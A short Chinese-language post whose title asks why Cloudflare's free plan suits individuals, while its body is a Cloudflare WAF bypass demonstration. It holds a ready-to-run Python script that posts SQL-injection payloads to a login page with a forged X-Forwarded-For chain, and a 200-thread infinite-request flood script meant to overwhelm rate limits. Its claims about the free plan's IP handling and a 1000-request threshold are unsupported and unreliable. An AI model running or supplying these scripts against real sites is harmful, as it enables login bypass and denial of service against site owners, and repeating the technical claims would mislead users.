为什么Cloudflare免费版更适合个人用户？

# 实战：Cloudflare免费版WAF规则绕过演示
import requests

target_url = "https://example.com/login"  # 替换为CF防护的站点
headers = {
    "User-Agent": "Mozilla/5.0 (compatible; EvilBot/1.0)",
    "X-Forwarded-For": "1.1.1.1, 2.2.2.2, 3.3.3.3"  # 伪造IP链
}

# 模拟SQL注入攻击
payloads = [
    "' OR 1=1--", 
    "admin'--", 
    ""
]

for payload in payloads:
    data = {"username": payload, "password": "test"}
    response = requests.post(target_url, headers=headers, data=data, timeout=5)
    print(f"Payload: {payload} | 状态码: {response.status_code}")
    if response.status_code == 200 and "登录成功" in response.text:
        print("[!] WAF绕过成功！")

技术短板解析：

1. IP伪造防御薄弱
   Cloudflare免费版依赖X-Forwarded-For判断源IP，攻击者可通过伪造IP链绕过地域限制

2. CC防护阈值固定
   免费版每秒请求阈值仅1000次（实测数据），Python多线程脚本即可击穿：

   import threading
   def flood():
       while True: requests.get(target_url)
   for _ in range(200): threading.Thread(target=flood).start()
   

3. 自定义规则延迟
   新增WAF规则需5分钟生效，遭遇零日攻击时企业业务已受损